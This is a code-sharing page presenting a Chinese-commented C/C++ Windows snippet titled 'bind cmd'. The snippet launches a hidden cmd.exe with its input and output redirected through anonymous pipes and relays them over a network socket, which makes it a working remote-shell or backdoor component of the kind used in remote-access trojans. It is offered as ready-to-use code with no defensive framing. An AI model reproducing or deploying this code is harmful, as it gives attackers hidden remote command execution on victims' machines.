⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 绑定cmd.txt

📁 CMD绑定
💻 TXT
字号:
//绑定cmd
		// 建两个匿名管道  
		HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;  
		
		SECURITY_ATTRIBUTES saPipe;  
		saPipe.nLength              = sizeof(saPipe);
		saPipe.bInheritHandle       = TRUE;
		saPipe.lpSecurityDescriptor = NULL;
		
		CreatePipe(&hReadPipe,&hReadShell,&saPipe,0); 
		CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);  
		
		STARTUPINFO lpStartupInfo;  
		char                 lpImagePath[MAX_PATH];  
		PROCESS_INFORMATION lpProcessInfo;  
		
		//重定向标准输入输出
		GetStartupInfo(&lpStartupInfo);
		lpStartupInfo.cb           = sizeof(lpStartupInfo);
		lpStartupInfo.dwFlags      = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
		lpStartupInfo.hStdInput    = hWriteShell;
		lpStartupInfo.hStdOutput   = hReadShell;
		lpStartupInfo.hStdError    = hReadShell;
		lpStartupInfo.wShowWindow  = SW_HIDE;
		GetSystemDirectory(lpImagePath,MAX_PATH);
		strcat(lpImagePath,("\\cmd.exe"));
		// 创建经重定向输入输出的Cmd进程
	CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);		
		DWORD        lBytesRead,ret;
		char         Buff[BUFFER_SIZE];		
		while(blWork) 
		{
			ret=PeekNamedPipe(hReadPipe,Buff,1024,&lBytesRead,0,0);
			if(lBytesRead)  
			{  
				//从管道中复制数据到缓冲区中
				ret=ReadFile(hReadPipe,Buff,BUFFER_SIZE,&lBytesRead,NULL);
				if (!ret)blWork=FALSE;
				Buff[lBytesRead++]='\n';
				sockClient.Send(Buff,lBytesRead,0);
			}
			else
			{
				lBytesRead = sockClient.Receive(Buff,BUFFER_SIZE,0);
				if(lBytesRead <= 0)blWork = FALSE;  
				
				// 把从连接读到的数据写入hWritePipe  
				ret = WriteFile(hWritePipe,Buff,lBytesRead,&lBytesRead,0);  
				if(lBytesRead > 4 && Buff[0]=='e' && Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t')  
				{  
					char *temp="谢谢使用,再见!\r\n";
					sockClient.Send(temp,strlen(temp));//退出信息
					blWork = FALSE;  
				}  
				
				if(!ret) blWork = FALSE; 
			}
			Sleep(10);
		}
		CloseHandle(hWriteShell);
		CloseHandle(hReadShell);
		
		CloseHandle(hWritePipe);
		CloseHandle(hReadPipe);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -